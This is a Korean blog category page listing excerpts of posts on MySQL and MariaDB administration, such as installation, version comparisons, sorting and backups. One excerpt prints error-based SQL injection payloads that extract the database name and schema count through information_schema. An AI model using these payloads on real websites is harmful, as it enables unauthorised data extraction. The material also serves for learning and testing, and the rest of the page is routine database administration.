본문 바로가기
반응형

mysql37

mysql yum 설치, 초기설정 1.  yum 를 통한 mysql 설치다음 명령어로 서버에 MySQL을 설치합니다. yum install mysql-server  2. mysql 초기 설정 (secure installation)아래와 같이 mysql_secure_installation 을 루트권한으로 실행시켜줍니다! mysql_secure_installation 2.1 루트 암호을 설정 할 것인지에 대한 질문이므로 Y 선택 후 원하는 패쓰워드를 입력해주세요. 2.2 익명의 계정을 허용 할 것인지 묻고 있습니다. 물론 N을 해줍니다. 2.3 루트계정을 원격지에서 허용할건지에 대한 질문인데 저는 Y를 선택하여 허용하지 않았습니다. 2.4 기본으로 생성하는 test database는 지워주도록 할께요. 2.5 현재까지의 내용을 적용하기 위해.. 2024. 8. 20.
MariaDB의 각 버전(10.2, 10.3, 10.4, 10.5, 10.6, 10.11, 11.4)의 장단점 MariaDB의 각 버전(10.2, 10.3, 10.4, 10.5, 10.6, 10.11, 11.4)의 장단점을 자세히 설명하겠습니다. 각 버전의 주요 기능과 성능 개선 사항을 포함하여 비교해드리겠습니다.MariaDB 10.2장점:CTE(Common Table Expressions): WITH 문을 사용한 공통 테이블 표현식 지원.윈도우 함수: 복잡한 쿼리에 대한 윈도우 함수 지원.InnoDB 성능 개선: 기본 스토리지 엔진으로서 InnoDB의 성능 향상.JSON 지원: JSON 데이터를 처리하는 함수 지원.단점:새로운 기능 부족: 이후 버전에 비해 최신 기능과 성능 최적화 부족.향후 지원 기간 단축: 최신 버전에 비해 더 짧은 지원 기간.MariaDB 10.3장점:System-versioned tabl.. 2024. 6. 29.
MySQL 8.0 RPM 설치 dnf MySQL 8.0 Community Server를 설치하고 설정하는 과정입니다. 이러한 방법을 따르면 오류 없이 정상적으로 설치할 수 있습니다.1. MySQL 공식 RPM 저장소를 시스템에 추가합니다.dnf -y install https://dev.mysql.com/get/mysql80-community-release-el8-8.noarch.rpm 2.MySQL 모듈을 초기화하고 비활성화합니다.dnf module reset mysql dnf module disable mysql  3. MySQL Community Server를 설치합니다.dnf -y install mysql-community-server  4. MySQL 데이터 디렉토리를 초기화합니다. 이 명령은 보안을 고려하지 않고 MySQL 초기 데.. 2024. 4. 8.
CentOS7 yum mysql 5.7 설치하기, 8.0 SSL connection error 해결 CentOS7 에 mysql 5.7 설치하기 yum 으로 설치를 하면 mysql 8.0 이 설치됩니다. mysql-community.repo 를 다운받고, 수정해도 여전히 yum은 8.0 을 설치합니다. 인터넷 검색으로 설치방법을 여러번 시도 했지만 여전히 yum은 8.0설치합니다. 컴파일로 설치하려고 하니 에러가 뿜뿜... mysql 8.0으로 외부 mysql 서버 접속하면 컨넥션 에러가 발생합니다. ERROR 2026 (HY000): SSL connection error: error:14077102:SSL routines:SSL23_GET_SERVER_HELLO:unsupported protocol 이 오류를 해결하려면 --ssl-mode=disabled 옵션을 주어야 합니다. 이 옵션을 매번 입력하.. 2023. 12. 30.
mysqli_fetch MySQL 테이블에 저장되어있는 값을 쿼리를 통해 선택 한 후에는, 그 값을 바로 사용할 수 없다. 그것을 PHP가 인식할 수 있는 형태로 변환해 주어야 하는데, 그것을 아래의 함수를 통해 할 수 있다. 테이블 필드명 name value 저장값 CUFFS アメサラサ 1. fetch_array 이 함수는 결과를 배열로 뽑아내는데, 번호로 된 배열과 필드 이름으로 된 배열 두가지가 동시에 생성된다. 위와 같은 테이블에서 데이터를 뽑아내면 fetch_array 를 통해 뽑아낸 배열의 구조는 다음과 같다. Array ( [0] => CUFFS [name] => CUFFS [1] => アメサラサ [value] => アメサラサ ) 사용법 $data = mysql_fetch_array($data_); or $data.. 2023. 9. 1.
mysql injection 예 , SQL 인젝션 예 SQL 인젝션 예 current db_name +and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) number of dps +and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM in.. 2022. 6. 24.
mysql 사용자 정렬 숫자를 재정렬 하려면 mysql 에서 정렬 필드 sortid 필드를 만들어 정렬을 하고자 하는데, 중간에 끼어넣게 하여 자동으로 순서가 밀리게 하려면 update 문을 이용하여 입력한 값보다 큰 수에 1값을 더 해준다. 만약 1, 2, 3, 4, 5, 6, 7, 8, 9 정렬값이 입력되어있을때, 5위로 값을 새롭게 추가하고, 기존 5 값을 1씩 증가하도록 한다. update `table` set no = no + 1 where no => 5; 2022. 2. 11.
mysql auto_increment 지정 필드 재정렬 id 필드를 auto_increment 로 지정했다고 가정했을 때 몇몇 내용을 중간에 삭제후 다시 입력하였을 때 id 값이 일정하지 않아 재 정렬을 하고자 할 경우 set @cnt = 0; UPDATE USER SET USER.user_id = @cnt:=@cnt+1; // 다음에 추가할 때 값을 10으로 설정 ALTER TABLE USER AUTO_INCREMENT = 10; 2022. 2. 11.
mysql varchar 형 자료의 숫자 정렬 mysql 특정 필드의 형식이 varchar 일때 값이 숫자로 입력된 경우 정렬을 하면 이상하게 된다. 값이 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 일때 오름차순 정렬 하면 아래와 같이 이상하게 정렬된다. SELECT * FROM tablename ORDER BY varcharID 1, 10, 11, 12, 2, 3, 4, 5, 6, 7, 8, 9 테이블의 자료형을 변경하지 않고 정렬하는 간단한 팁으로 *1을 해주면 된다. SELECT * FROM orderex ORDER BY varcharId*1 결과값이 정상적으로 정렬된다. 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 내램차순으로 하려면 SELECT * FROM orderex ORDER BY len.. 2022. 2. 11.
웹호스팅의 DB 자동 백업하기 출처 : https://asteroid.b-612.net/79 1. 웹호스팅 서버에서의 설정 웹호스팅 서버에서 원하는 위치에 다음과 같은 php파일을 만든다. 나는 웹 루트 디렉토리에 backup이라는 디렉토리를 새로 만들고, 그 아래에 db_backup.php 파일을 생성했다. 아무나 DB를 가져갈 수 있는 문제를 막기 위해 간단하게 POST 변수를 사용하기로 했다. 페이지에 접근했을 때 POST 방식으로 key 파라미터가 넘어오지 않거나 내가 정한 key값과 다르면 백업이 수행되지 않고 종료되도록 했고, 정상적인 접근이라면 기존 백업파일 삭제 → 새로운 백업 생성 → 새로 생성된 백업파일 주소 json형식으로 출력 과정을 실행하게 된다. 아래 스크립트 코드에는 php의 system 함수를 사용해서 ... 2022. 2. 11.
[mysql] CPU 점유율이 높을 때 확인할 내용 MySQL 때문에 뭔가 느려진다고 느끼면 실행해서 확인해 볼 것. DB에 영향을 미치는 쿼리문을 찾아낼 수 있는 좋은 방법. 1. processlist mysql> show processlist; 또는 콘솔에서 mysqladmin 명령을 사용 [root@ns ~] # mysqladmin -uroot -p proc stat -i5 show processlist -i5 -> 숫자는 새로고침할 시간(초) 2. status mysql> show status; 또는 콘솔에서 cpu 부하를 확인한다. [root@ns ~] # top 참고> 1의 경우 mysql에 접속을 한 상태에서 내리는 명령어이며 접속하자마자 바로 보고 싶다면 다음 명령어를 사용한다. [root@ns ~] # mysqladmin -uroot -p.. 2022. 1. 18.
mysql 쿼리 (5일 데이터만 남기고 모두 삭제) SELECT * FROM xe_documents where regdate > CURDATE() - interval 5 day delete FROM xe_documents where regdate > CURDATE() - interval 5 day; 위의 명령에서 X와 Y의 숫자 값에 100과 2000을 주면 100이상 2000이하 글번호를 가진 모든 글이 삭제됩니다. 해당게시판의 module_srl 값을 알아내서 (관리자->게시판->해당 게시판 설정 누르면, 주소 끝에 module_srl 값이 나옵니다) delete from xe_documents where document_srl between X and Y AND module_srl='게시판모듈번호' 2022. 1. 18.
반응형